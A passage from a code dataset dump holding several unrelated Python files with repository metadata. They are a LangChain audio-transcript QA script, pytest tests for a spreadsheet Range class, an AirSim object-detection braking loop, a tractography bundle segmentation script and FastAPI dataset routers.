"name"}, {"api_name": "utils_pro.config.DroneDetectionConfig.UPDATE_TRAINING", "line_number": 70, "usage_type": "attribute"}, {"api_name": "utils_pro.config.DroneDetectionConfig", "line_number": 70, "usage_type": "name"}]} {"seq_id": "32988373127", "text": "from dotenv import load_dotenv\nfrom langchain.chains import RetrievalQA\nfrom langchain.chat_models import ChatOpenAI\nfrom langchain.document_loaders import AssemblyAIAudioTranscriptLoader\nfrom langchain.embeddings import HuggingFaceEmbeddings\nfrom langchain.text_splitter import RecursiveCharacterTextSplitter\nfrom langchain.vectorstores import Chroma\n\n\nload_dotenv()\n\nURLs = [\n \"https://storage.googleapis.com/aai-web-samples/langchain_agents_webinar.opus\",\n \"https://storage.googleapis.com/aai-web-samples/langchain_document_qna_webinar.opus\",\n \"https://storage.googleapis.com/aai-web-samples/langchain_retrieval_webinar.opus\"\n]\n\ndef create_docs(urls_list):\n l = []\n for url in urls_list:\n print(f'Transcribing {url}')\n l.append(AssemblyAIAudioTranscriptLoader(file_path=url).load()[0])\n return l\n \ndocs = create_docs(URLs)\n\ntext_splitter = RecursiveCharacterTextSplitter(chunk_size=1000, chunk_overlap=0)\n\ntexts = text_splitter.split_documents(docs)\n\nfor text in texts:\n\ttext.metadata = {\"audio_url\": text.metadata[\"audio_url\"]}\n\ndef make_embedder():\n model_name = \"sentence-transformers/all-mpnet-base-v2\"\n model_kwargs = {'device': 'cpu'}\n encode_kwargs = {'normalize_embeddings': False}\n return HuggingFaceEmbeddings(\n model_name=model_name,\n model_kwargs=model_kwargs,\n encode_kwargs=encode_kwargs\n )\n\nhf = make_embedder()\ndb = Chroma.from_documents(texts, hf)\n\ndef make_qa_chain():\n llm = ChatOpenAI(model_name=\"gpt-3.5-turbo\", temperature=0)\n return RetrievalQA.from_chain_type(\n llm,\n retriever=db.as_retriever(search_type=\"mmr\", search_kwargs={'fetch_k': 3}),\n return_source_documents=True\n )\n\nprint('\\nEnter `e` to exit')\nqa_chain = make_qa_chain()\nwhile True:\n q = input('enter your question: ')\n if q == 'e':\n break\n result = qa_chain({\"query\": q})\n print(f\"Q: {result['query'].strip()}\")\n print(f\"A: {result['result'].strip()}\\n\")\n print(\"SOURCES:\")\n for idx, elt in enumerate(result['source_documents']):\n print(f\" Source {idx}:\")\n print(f\" Filepath: {elt.metadata['audio_url']}\")\n print(f\" Contents: {elt.page_content}\")\n print('\\n')", "repo_name": "Dev-Anky07/Creativedestruction.xyz", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 2220, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "dotenv.load_dotenv", "line_number": 10, "usage_type": "call"}, {"api_name": "langchain.document_loaders.AssemblyAIAudioTranscriptLoader", "line_number": 22, "usage_type": "call"}, {"api_name": "langchain.text_splitter.RecursiveCharacterTextSplitter", "line_number": 27, "usage_type": "call"}, {"api_name": "langchain.embeddings.HuggingFaceEmbeddings", "line_number": 38, "usage_type": "call"}, {"api_name": "langchain.vectorstores.Chroma.from_documents", "line_number": 45, "usage_type": "call"}, {"api_name": "langchain.vectorstores.Chroma", "line_number": 45, "usage_type": "name"}, {"api_name": "langchain.chat_models.ChatOpenAI", "line_number": 48, "usage_type": "call"}, {"api_name": "langchain.chains.RetrievalQA.from_chain_type", "line_number": 49, "usage_type": "call"}, {"api_name": "langchain.chains.RetrievalQA", "line_number": 49, "usage_type": "name"}]} {"seq_id": "20588175351", "text": "import pytest\n\n\nfrom sheetwhat.Range import Range\n\n\n@pytest.mark.parametrize(\"range_str\", [\"A1\", \"Z1\", \"A1:Z100\", \"AZFDDS124324\"])\ndef test_constructor_str(range_str):\n Range(range_str)\n\n\n@pytest.mark.parametrize(\n \"range_dict\",\n [\n {\"startRowIndex\": 0, \"startColumnIndex\": 0},\n {\"startRowIndex\": 21, \"startColumnIndex\": 0},\n {\"startRowIndex\": 21, \"endRowIndex\": 25, \"startColumnIndex\": 0},\n {\"startRowIndex\": 21, \"startColumnIndex\": 0, \"endColumnIndex\": 5},\n {\n \"startRowIndex\": 21,\n \"endRowIndex\": 25,\n \"startColumnIndex\": 0,\n \"endColumnIndex\": 5,\n },\n ],\n)\ndef test_constructor_dict(range_dict):\n Range(range_dict)\n\n\n@pytest.mark.parametrize(\n \"range_dict\",\n [\n {\n \"startRowIndex\": 21,\n \"endRowIndex\": 20,\n \"startColumnIndex\": 0,\n \"endColumnIndex\": 5,\n },\n {\n \"startRowIndex\": 21,\n \"endRowIndex\": 25,\n \"startColumnIndex\": 5,\n \"endColumnIndex\": 4,\n },\n {\"startRowIndex\": -21, \"startColumnIndex\": 0},\n {\"startRowIndex\": 21, \"startColumnIndex\": -5},\n ],\n)\ndef test_constructor_dict_fail(range_dict):\n with pytest.raises(AssertionError):\n Range(range_dict)\n\n\n@pytest.mark.parametrize(\"range_dict\", [{}, [], lambda x: \"bla\"])\ndef test_constructor_dict_fail_key(range_dict):\n with pytest.raises(TypeError):\n Range(range_dict)\n\n\n@pytest.mark.parametrize(\n \"range_1_input, range_2_input, equals\",\n [\n (\"A1\", \"A1\", True),\n (\"A1\", \"B1\", False),\n (\"A1:B100\", \"A1:B100\", True),\n (\"A1:B100\", \"A1:B101\", False),\n (\"A1\", {\"startRowIndex\": 0, \"startColumnIndex\": 0}, True),\n ({\"startRowIndex\": 0, \"startColumnIndex\": 0}, \"A1\", True),\n ({\"startRowIndex\": 1, \"startColumnIndex\": 0}, \"A1\", False),\n ({\"startRowIndex\": 0, \"endRowIndex\": 1, \"startColumnIndex\": 0}, \"A1\", True),\n (\n {\n \"startRowIndex\": 0,\n \"endRowIndex\": 1,\n \"startColumnIndex\": 0,\n \"endColumnIndex\": 1,\n },\n \"A1\",\n True,\n ),\n (\n {\n \"startRowIndex\": 0,\n \"endRowIndex\": 4,\n \"startColumnIndex\": 0,\n \"endColumnIndex\": 3,\n },\n \"A1:C4\",\n True,\n ),\n ],\n)\ndef test_equals(range_1_input, range_2_input, equals):\n assert (Range(range_1_input) == Range(range_2_input)) == equals\n\n\ndef test_equals_other_instance():\n assert Range(\"A1\") != \"other_type\"\n\n\n@pytest.mark.parametrize(\n \"range_1_input, range_2_input, equals\",\n [\n (\"A1\", \"A1\", True),\n (\"A1\", \"B1\", False),\n (\"A1\", \"A1:A5\", True),\n (\"A1:A5\", \"A1:A4\", False),\n (\"A1:A5\", \"A1:B100\", True),\n (\"A1:A5\", \"B1:B5\", False),\n (\"A1:A5\", \"A1:A5\", True),\n ],\n)\ndef test_is_within(range_1_input, range_2_input, equals):\n assert (Range(range_1_input).is_within(Range(range_2_input))) == equals\n\n\ndef test_is_wihtin_other_instance():\n assert not (Range(\"B1\").is_within(\"other_type\"))\n", "repo_name": "datacamp/sheetwhat", "sub_path": "tests/test_Range.py", "file_name": "test_Range.py", "file_ext": "py", "file_size_in_byte": 3197, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sheetwhat.Range.Range", "line_number": 9, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 7, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 7, "usage_type": "attribute"}, {"api_name": "sheetwhat.Range.Range", "line_number": 28, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 12, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 12, "usage_type": "attribute"}, {"api_name": "pytest.raises", "line_number": 51, "usage_type": "call"}, {"api_name": "sheetwhat.Range.Range", "line_number": 52, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 31, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 31, "usage_type": "attribute"}, {"api_name": "pytest.raises", "line_number": 57, "usage_type": "call"}, {"api_name": "sheetwhat.Range.Range", "line_number": 58, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 55, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 55, "usage_type": "attribute"}, {"api_name": "sheetwhat.Range.Range", "line_number": 95, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 61, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 61, "usage_type": "attribute"}, {"api_name": "sheetwhat.Range.Range", "line_number": 99, "usage_type": "call"}, {"api_name": "sheetwhat.Range.Range", "line_number": 115, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 102, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 102, "usage_type": "attribute"}, {"api_name": "sheetwhat.Range.Range", "line_number": 119, "usage_type": "call"}]} {"seq_id": "30867308196", "text": "import airsim\nimport cv2\nimport numpy as np\n\nimport torch\nfrom torchvision.utils import draw_bounding_boxes\nfrom torchvision import transforms\nfrom torch.autograd import Variable\nimport torchvision.transforms as transforms\nimport keyboard, time\nfrom model import *\n\nprint('[INFO] Importing models')\nmodel_path = 'models/model_pt9.h5'\ncheckpoint = torch.load(model_path, map_location=lambda storage, loc: storage)\nmodel = checkpoint['model']\ntransformations = transforms.Compose([transforms.Lambda(lambda x: (x / 255.0) - 0.5)])\n\nyolo = torch.hub.load('ultralytics/yolov5', 'yolov5s', pretrained=True)\n\n'''\nScene = 0, \nDepthPlanar = 1, \nDepthPerspective = 2,\nDepthVis = 3, \nDisparityNormalized = 4,\nSegmentation = 5,\nSurfaceNormals = 6,\nInfrared = 7,\nOpticalFlow = 8,\nOpticalFlowVis = 9\n'''\n\nclient = airsim.CarClient() # https://microsoft.github.io/AirSim/api_docs/html/_modules/airsim/client.html#CarClient\nclient.confirmConnection()\napiControl = False\nclient.enableApiControl(apiControl)\nclient.armDisarm(apiControl)\ncar_controls = airsim.CarControls()\n\nmain_steering_angle = 0\nmain_speed = 5\nmain_brake = 0\nmax_speed = 30\n\nwhile True:\n car_state = client.getCarState()\n if client.isApiControlEnabled() and car_state.speed < main_speed - 1:\n car_controls.throttle = 1 if car_controls.brake == 0 else 0\n car_controls.steering = main_steering_angle\n client.setCarControls(car_controls)\n\n if keyboard.is_pressed('q'):\n apiControl = not apiControl\n client.enableApiControl(apiControl)\n client.armDisarm(apiControl)\n if client.isApiControlEnabled():\n car_controls.brake = 0\n \n time.sleep(1)\n\n responses = client.simGetImages([airsim.ImageRequest(0, airsim.ImageType.Scene, False, False)])\n for response in responses:\n if response.pixels_as_float:\n print(\"Type %d, size %d\" % (response.image_type, len(response.image_data_float)))\n airsim.write_pfm('py1.pfm', airsim.get_pfm_array(response))\n else:\n img1d = np.frombuffer(response.image_data_uint8, dtype=np.uint8)\n img = img1d.reshape(response.height, response.width, 3)\n \n results = yolo(img)\n res = results.xyxy[0] # [ [ [],[],[] ] ]\n \n for ele in res:\n # x1 y1 x2 y2\n if ele[0] < 130 and ele[1] < 68 and ele[2] > 120 and ele[3] > 80:\n car_controls.brake = 1\n car_controls.throttle = 0\n break\n else:\n car_controls.brake = 0\n\n client.setCarControls(car_controls)\n\n # image = img[65:-25, :, :]\n # image = cv2.cvtColor(image, cv2.COLOR_BGR2YUV)\n # image = cv2.resize(image, (IMG_WIDTH, IMG_HEIGHT), cv2.INTER_AREA)\n # image = transformations(image)\n # image = torch.Tensor(image)\n # image = image.view(1, 3, IMG_HEIGHT, IMG_WIDTH)\n # image = Variable(image)\n # output = model(image).view(-1).data.numpy()\n\n # car_controls.steering = float(output[0])\n # client.setCarControls(car_controls)\n # print(f\"OUTPUT = {car_controls.steering}, {main_speed}, {main_brake}\")\n\n # labels = []\n # boxes = []\n # for ele in res:\n # if ele[5] == 0. or ele[5] == 2. or ele[5] == 7. :\n # if ele[5] == 0.:\n # labels.append('Person') \n # elif ele[5] == 2.:\n # labels.append('Car')\n # elif ele[5] == 7.:\n # labels.append('Truck')\n\n # boxes.append(list(ele[:4])) \n\n # print(boxes)\n\n # boxes = torch.tensor(boxes)\n\n # img = transforms.ToTensor()(img.copy())\n # img = img * 255\n # img = img.type(torch.uint8)\n # img = img.unsqueeze(0)\n\n # drawn_boxes = draw_bounding_boxes(image=img[0], boxes= boxes, labels=labels, width=2, colors=['blue' for _ in range(len(labels))])\n \n # tensor_to_pil = transforms.ToPILImage()(drawn_boxes.squeeze(0))\n # pic = np.array(tensor_to_pil)\n \n # cv2.imshow('detections', pic)\n # cv2.waitKey(1)\n\n if client.isApiControlEnabled() and (car_state.speed > main_speed):\n car_controls.throttle = 0\n client.setCarControls(car_controls)\n\n if (client.simGetCollisionInfo()).has_collided:\n client.reset()\n apiControl = True\n client.enableApiControl(apiControl)\n client.armDisarm(True)\n\n", "repo_name": "shreyventure/vehicle_automation", "sub_path": "AirSim/object_detection.py", "file_name": "object_detection.py", "file_ext": "py", "file_size_in_byte": 4677, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "torch.load", "line_number": 15, "usage_type": "call"}, {"api_name": "torchvision.transforms.Compose", "line_number": 17, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 17, "usage_type": "name"}, {"api_name": "torchvision.transforms.Lambda", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.hub.load", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.hub", "line_number": 19, "usage_type": "attribute"}, {"api_name": "airsim.CarClient", "line_number": 34, "usage_type": "call"}, {"api_name": "airsim.CarControls", "line_number": 39, "usage_type": "call"}, {"api_name": "keyboard.is_pressed", "line_number": 53, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 60, "usage_type": "call"}, {"api_name": "airsim.ImageRequest", "line_number": 62, "usage_type": "call"}, {"api_name": "airsim.ImageType", "line_number": 62, "usage_type": "attribute"}, {"api_name": "airsim.write_pfm", "line_number": 66, "usage_type": "call"}, {"api_name": "airsim.get_pfm_array", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.frombuffer", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 68, "usage_type": "attribute"}]} {"seq_id": "29242642278", "text": "\"\"\" Bundle segmentation with Rectangular Linear Assignment Problem.\n\n\tSee Sharmin et al., 'White Matter Tract Segmentation as Multiple \n\tLinear Assignment Problems', Fronts. Neurosci., 2017.\n\"\"\"\n\nimport os\nimport sys\nimport argparse\nimport os.path\nimport ntpath\nimport nibabel as nib\nimport numpy as np\nfrom nibabel.streamlines import load\nfrom tractograms_slr import tractograms_slr\nfrom dipy.tracking.streamline import apply_affine\nfrom dissimilarity import compute_dissimilarity, dissimilarity\nfrom dipy.tracking.distances import bundles_distances_mam\nfrom sklearn.neighbors import KDTree\nimport pickle\n\ntry:\n from linear_assignment import LinearAssignment\nexcept ImportError:\n print(\"WARNING: Cythonized LAPJV not available. Falling back to Python.\")\n print(\"WARNING: See README.txt\")\n from linear_assignment_numpy import LinearAssignment\n\n\ndef RLAP(kdt, k, dm_source_tract, source_tract, tractogram, distance):\n \"\"\"Code for Rectangular Linear Assignment Problem.\n \"\"\"\n tractogram = np.array(tractogram, dtype=np.object)\n D, I = kdt.query(dm_source_tract, k=k)\n superset = np.unique(I.flat)\n np.save('superset_idx', superset)\n print(\"Computing the cost matrix (%s x %s) for RLAP... \" % (len(source_tract),\n len(superset)))\n cost_matrix = dissimilarity(source_tract, tractogram[superset], distance)\n print(\"Computing RLAP with LAPJV...\")\n assignment = LinearAssignment(cost_matrix).solution\n estimated_bundle_idx = superset[assignment]\n min_cost_values = cost_matrix[np.arange(len(cost_matrix)), assignment]\n\n return estimated_bundle_idx, min_cost_values\n\n\ndef single_lap(moving_tractogram, static_tractogram, kdt, prototypes, example, k=500, distance_func = bundles_distances_mam):\n\t\"\"\"Code for LAP from a single example.\n\t\"\"\"\n\tprint(\"Retrieving affine from dictionary.\")\n\ttable_filename = 'affine_dictionary.pickle'\n\ttable = pickle.load(open(table_filename))\n\tmoving_tractogram_basename = ntpath.basename(moving_tractogram)\n\tstatic_tractogram_basename = ntpath.basename(static_tractogram)\n\taffine = table[moving_tractogram_basename, static_tractogram_basename].items()[0][1]\n\n\tprint(\"Applying the affine to the example bundle.\")\n\texample_bundle = nib.streamlines.load(example)\n\texample_bundle = example_bundle.streamlines\n\texample_bundle_aligned = np.array([apply_affine(affine, s) for s in example_bundle])\n\t\n\tprint(\"Compute the dissimilarity of the aligned example bundle with the prototypes of target tractogram.\")\n\texample_bundle_aligned = np.array(example_bundle_aligned, dtype=np.object)\n\tdm_example_bundle_aligned = distance_func(example_bundle_aligned, prototypes)\n\n\tprint(\"Segmentation as Rectangular linear Assignment Problem (RLAP).\")\n\tstatic_tractogram = nib.streamlines.load(static_tractogram)\n\tstatic_tractogram = static_tractogram.streamlines\n\testimated_bundle_idx, min_cost_values = RLAP(kdt, k, dm_example_bundle_aligned, example_bundle_aligned, static_tractogram, distance_func)\n\testimated_bundle = static_tractogram[estimated_bundle_idx]\n\n\treturn estimated_bundle_idx, min_cost_values, len(example_bundle)\n\n\ndef save_bundle(estimated_bundle_idx, static_tractogram, out_filename):\n\n\textension = os.path.splitext(out_filename)[1]\n\tstatic_tractogram = nib.streamlines.load(static_tractogram)\n\taff_vox_to_ras = static_tractogram.affine\n\tvoxel_sizes = static_tractogram.header['voxel_sizes']\n\tdimensions = static_tractogram.header['dimensions']\n\tstatic_tractogram = static_tractogram.streamlines\n\testimated_bundle = static_tractogram[estimated_bundle_idx]\n\t\n\tif extension == '.trk':\n\t\tprint(\"Saving bundle in %s\" % out_filename)\n\t\t\n\t\t# Creating header\n\t\thdr = nib.streamlines.trk.TrkFile.create_empty_header()\n\t\thdr['voxel_sizes'] = voxel_sizes\n\t\thdr['voxel_order'] = 'LAS'\n\t\thdr['dimensions'] = dimensions\n\t\thdr['voxel_to_rasmm'] = aff_vox_to_ras \n\n\t\t# Saving bundle\n\t\tt = nib.streamlines.tractogram.Tractogram(estimated_bundle, affine_to_rasmm=np.eye(4))\n\t\tnib.streamlines.save(t, out_filename, header=hdr)\n\t\tprint(\"Bundle saved in %s\" % out_filename)\n\n\telif extension == '.tck':\n\t\tprint(\"Saving bundle in %s\" % out_filename)\n\n\t\t# Creating header\n\t\thdr = nib.streamlines.tck.TckFile.create_empty_header()\n\t\thdr['voxel_sizes'] = voxel_sizes\n\t\thdr['dimensions'] = dimensions\n\t\thdr['voxel_to_rasmm'] = aff_vox_to_ras\n\n\t\t# Saving bundle\n\t\tt = nib.streamlines.tractogram.Tractogram(estimated_bundle, affine_to_rasmm=np.eye(4))\n\t\tnib.streamlines.save(t, out_filename, header=hdr)\n\t\tprint(\"Bundle saved in %s\" % out_filename)\n\n\telse:\n\t\tprint(\"%s format not supported.\" % extension)\t\n\n\nif __name__ == '__main__':\n\n\tnp.random.seed(0) \n\n\tparser = argparse.ArgumentParser()\n\tparser.add_argument('-moving', nargs='?', const=1, default='',\n\t help='The moving tractogram filename')\n\tparser.add_argument('-static', nargs='?', const=1, default='',\n\t help='The static tractogram filename') \n\tparser.add_argument('-ex', nargs='?', const=1, default='',\n\t help='The example (moving) bundle filename') \n\tparser.add_argument('-out', nargs='?', const=1, default='',\n\t help='The output estimated bundle filename') \n\targs = parser.parse_args()\n\n\tprint(\"Retrieving kdt and prototypes.\")\n\tkdt_filename='kdt'\n\tkdt = pickle.load(open(kdt_filename))\n\tprototypes = np.load('prototypes.npy')\n\n\tresult_lap = single_lap(args.moving, args.static, kdt, prototypes, args.ex)\n\n\tnp.save('result_lap', result_lap)\n\n\tif args.out:\n\t\testimated_bundle_idx = result_lap[0]\n\t\tsave_bundle(estimated_bundle_idx, args.static, args.out)\n\n\tsys.exit() \n\n", "repo_name": "brainlife/app-lap-single-example", "sub_path": "single_lap.py", "file_name": "single_lap.py", "file_ext": "py", "file_size_in_byte": 5647, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.array", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.object", "line_number": 33, "usage_type": "attribute"}, {"api_name": "numpy.unique", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 36, "usage_type": "call"}, {"api_name": "dissimilarity.dissimilarity", "line_number": 39, "usage_type": "call"}, {"api_name": "linear_assignment_numpy.LinearAssignment", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 43, "usage_type": "call"}, {"api_name": "dipy.tracking.distances.bundles_distances_mam", "line_number": 48, "usage_type": "name"}, {"api_name": "pickle.load", "line_number": 53, "usage_type": "call"}, {"api_name": "ntpath.basename", "line_number": 54, "usage_type": "call"}, {"api_name": "ntpath.basename", "line_number": 55, "usage_type": "call"}, {"api_name": "nibabel.streamlines.load", "line_number": 59, "usage_type": "call"}, {"api_name": "nibabel.streamlines", "line_number": 59, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 61, "usage_type": "call"}, {"api_name": "dipy.tracking.streamline.apply_affine", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.object", "line_number": 64, "usage_type": "attribute"}, {"api_name": "nibabel.streamlines.load", "line_number": 68, "usage_type": "call"}, {"api_name": "nibabel.streamlines", "line_number": 68, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 78, "usage_type": "call"}, {"api_name": "os.path", "line_number": 78, "usage_type": "attribute"}, {"api_name": "nibabel.streamlines.load", "line_number": 79, "usage_type": "call"}, {"api_name": "nibabel.streamlines", "line_number": 79, "usage_type": "attribute"}, {"api_name": "nibabel.streamlines.trk.TrkFile.create_empty_header", "line_number": 90, "usage_type": "call"}, {"api_name": "nibabel.streamlines", "line_number": 90, "usage_type": "attribute"}, {"api_name": "nibabel.streamlines.tractogram.Tractogram", "line_number": 97, "usage_type": "call"}, {"api_name": "nibabel.streamlines", "line_number": 97, "usage_type": "attribute"}, {"api_name": "numpy.eye", "line_number": 97, "usage_type": "call"}, {"api_name": "nibabel.streamlines.save", "line_number": 98, "usage_type": "call"}, {"api_name": "nibabel.streamlines", "line_number": 98, "usage_type": "attribute"}, {"api_name": "nibabel.streamlines.tck.TckFile.create_empty_header", "line_number": 105, "usage_type": "call"}, {"api_name": "nibabel.streamlines", "line_number": 105, "usage_type": "attribute"}, {"api_name": "nibabel.streamlines.tractogram.Tractogram", "line_number": 111, "usage_type": "call"}, {"api_name": "nibabel.streamlines", "line_number": 111, "usage_type": "attribute"}, {"api_name": "numpy.eye", "line_number": 111, "usage_type": "call"}, {"api_name": "nibabel.streamlines.save", "line_number": 112, "usage_type": "call"}, {"api_name": "nibabel.streamlines", "line_number": 112, "usage_type": "attribute"}, {"api_name": "numpy.random.seed", "line_number": 121, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 121, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 123, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 136, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 137, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 141, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 147, "usage_type": "call"}]} {"seq_id": "1619739754", "text": "print(\">>>>>> import routers.routers_datasets.py ...\")\n\nfrom . import ( List, Session, APIRouter, Depends,\n HTTPException, status, BackgroundTasks,\n get_db, Query\n)\n\nfrom fastapi.encoders import jsonable_encoder\n\nfrom ..schemas.schemas_dataset import Dataset, DatasetBase, DatasetCreate, DatasetUpdate, DatasetList\nfrom ..crud.crud_datasets import dataset\n\nfrom ..schemas.schemas_invitation import InvitationToDataset\n\nfrom ..models.models_user import User\nfrom ..crud.crud_users import (\n get_current_user,\n get_current_user_optional,\n get_current_active_user,\n)\n\nfrom ..schemas.schemas_comment import Comment, CommentDataset\nfrom ..crud.crud_comments import comment\n\nfrom ..schemas.schemas_patch import Patch, PatchDataset\nfrom ..crud.crud_patches import patch\n\nfrom ..routers.routers_tablemetas import (\n create_tablemeta_for_user,\n read_tablemeta_data\n)\n\nimport pprint\npp = pprint.PrettyPrinter(indent=1)\n\nrouter = APIRouter()\n\n\n@router.post(\n \"/\",\n summary=\"Create an dataset\",\n description=\"Create an dataset, including the id of the user creating the dataset\",\n response_model=Dataset,\n status_code=status.HTTP_201_CREATED\n )\ndef create_dataset_for_user(\n obj_in: DatasetCreate,\n db: Session = Depends(get_db),\n current_user: User = Depends(get_current_user)\n ):\n user_id = current_user.id\n\n # print(\"\\n...create_dataset_for_user > obj_in :\", obj_in)\n # print(\"\\n...create_dataset_for_user > obj_in.dict() ... \" )\n # pp.pprint(obj_in.dict()) \n\n ### 1/ create dataset to get dataset id, without table data\n obj_filtered = jsonable_encoder(obj_in)\n # print(\"\\n...create_dataset_for_user > obj_filtered :\", obj_filtered)\n new_obj_in = DatasetBase(**obj_filtered)\n # print(\"\\n...create_dataset_for_user > new_obj_in :\", new_obj_in)\n new_dataset = dataset.create_with_owner(db=db, obj_in=new_obj_in, owner_id=user_id)\n # print(\"\\n...create_dataset_for_user > new_dataset :\", new_dataset)\n new_dataset_id = new_dataset.id\n # print(\"\\n...create_dataset_for_user > new_dataset_id :\", new_dataset_id)\n\n ### 2/ create table_metadata\n print(\"\\n...create_dataset_for_user > tables ... \" )\n tables = obj_in.tables\n tablemeta_ids = {\n \"tables\": []\n }\n for table in tables :\n\n print(\"\\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ \")\n\n ### 2a/ append dataset id to table_metadata and create table_meta\n new_table_meta = create_tablemeta_for_user(new_dataset_id, table, db, current_user)\n print(\"\\n...create_dataset_for_user > new_table_meta ... \", new_table_meta )\n # print(\"\\n...create_dataset_for_user > new_table_meta ... \" )\n # pp.pprint( new_table_meta ) \n\n ### 2b/ store table_meta.id for later\n tablemeta_ids[\"tables\"].append(new_table_meta.id)\n\n ### 3b/ return new_dataset\n return new_dataset\n\n\n@router.get(\"/{obj_id}\",\n summary=\"Get a dataset\",\n description=\"Get a dataset by its id - authentication is optional\",\n response_model=Dataset\n )\ndef read_dataset(\n obj_id: int,\n db: Session = Depends(get_db),\n current_user: User = Depends(get_current_user_optional)\n ):\n dataset_in_db = dataset.get_by_id(db=db, id=obj_id, user=current_user, req_type=\"read\")\n\n print(\"\\n...read_dataset > dataset_in_db ... \" )\n # pp.pprint( dataset_in_db )\n\n return dataset_in_db\n\n\n@router.put(\"/{obj_id}\",\n summary=\"update a dataset\",\n description=\"update a dataset by its id\",\n response_model=Dataset\n )\ndef update_dataset(\n obj_id: int,\n obj_in: DatasetUpdate,\n db: Session = Depends(get_db),\n current_user: User = Depends(get_current_user)\n ):\n dataset_in_db = dataset.get_by_id(db, id=obj_id, user=current_user, req_type=\"write\")\n dataset_in_db = dataset.update(db=db, db_obj=dataset_in_db, obj_in=obj_in)\n return dataset_in_db\n\n\n@router.post(\"/{obj_id}/invite\",\n summary=\"Invite people to a dataset\",\n description=\"Invite a list of users or mails to a dataset\",\n response_model=Dataset\n )\nasync def invite_to_dataset(\n obj_id: int,\n obj_in: InvitationToDataset,\n background_tasks: BackgroundTasks,\n db: Session = Depends(get_db),\n current_user: User = Depends(get_current_user)\n ):\n dataset_in_db = dataset.get_by_id(db=db, id=obj_id, user=current_user, req_type=\"manage\")\n dataset_in_db = dataset.invite(\n db=db,\n background_tasks=background_tasks,\n db_obj=dataset_in_db,\n obj_in=obj_in,\n invitor=current_user\n )\n return dataset_in_db\n\n\n### work in progress\n@router.post(\"/{obj_id}/comment\",\n summary=\"Comment a dataset\",\n description=\"Add a comment to a dataset\",\n response_model=Comment\n )\nasync def comment_dataset(\n obj_id: int,\n obj_in: CommentDataset,\n background_tasks: BackgroundTasks,\n db: Session = Depends(get_db),\n current_user: User = Depends(get_current_user_optional)\n ):\n dataset_in_db = dataset.get_by_id(db=db, id=obj_id, user=current_user, req_type=\"comment\")\n comment_in_db = comment.create(\n db=db,\n obj_in=obj_in,\n )\n return comment_in_db\n\n\n### work in progress\n@router.get(\"/{obj_id}/comments\",\n summary=\"Get a dataset's comments\",\n description=\"Get comments related to a dataset\",\n response_model=List[Comment]\n )\nasync def get_comments_dataset(\n obj_id: int,\n db: Session = Depends(get_db),\n current_user: User = Depends(get_current_user_optional),\n skip: int = 0, limit: int = 100, \n ):\n print(\"\\nget_comments_dataset > obj_id : \", obj_id)\n comments_in_db = dataset.get_comments(\n db=db,\n id=obj_id,\n user=current_user,\n skip=skip,\n limit=limit,\n )\n print(\"get_comments_dataset > comments_in_db : \", comments_in_db)\n return comments_in_db\n\n\n## work in progress\n@router.post(\"/{obj_id}/patch\",\n summary=\"Patch a dataset\",\n description=\"Propose to patch a dataset\",\n response_model=Patch\n )\nasync def patch_dataset(\n obj_id: int,\n obj_in: PatchDataset,\n background_tasks: BackgroundTasks,\n db: Session = Depends(get_db),\n current_user: User = Depends(get_current_user_optional)\n ):\n dataset_in_db = dataset.get_by_id(db=db, id=obj_id, user=current_user, req_type=\"patch\")\n patch_in_db = patch.create(\n db=db,\n obj_in=obj_in,\n )\n return patch_in_db\n\n@router.get(\"/\",\n summary=\"Get a list of all datasets\",\n description=\"Get all datasets given a limit - authentication is optional\",\n response_model=List[Dataset]\n )\ndef read_datasets(\n skip: int = 0, limit: int = 100,\n db: Session = Depends(get_db),\n current_user: User = Depends(get_current_user_optional),\n ):\n datasets = dataset.get_multi(db=db, skip=skip, limit=limit, user=current_user, req_type=\"read\")\n return datasets\n\n\n@router.delete(\"/{obj_id}\",\n summary=\"Delete a dataset\",\n description=\"Delete a dataset by its id\",\n response_model=Dataset\n )\ndef delete_dataset(\n obj_id: int,\n db: Session = Depends(get_db),\n current_user: User = Depends(get_current_user)\n ):\n print(\"delete_dataset > obj_id : \", obj_id)\n dataset_deleted = dataset.remove(db=db, id=obj_id, current_user=current_user)\n print(\"delete_dataset > dataset_deleted : \", 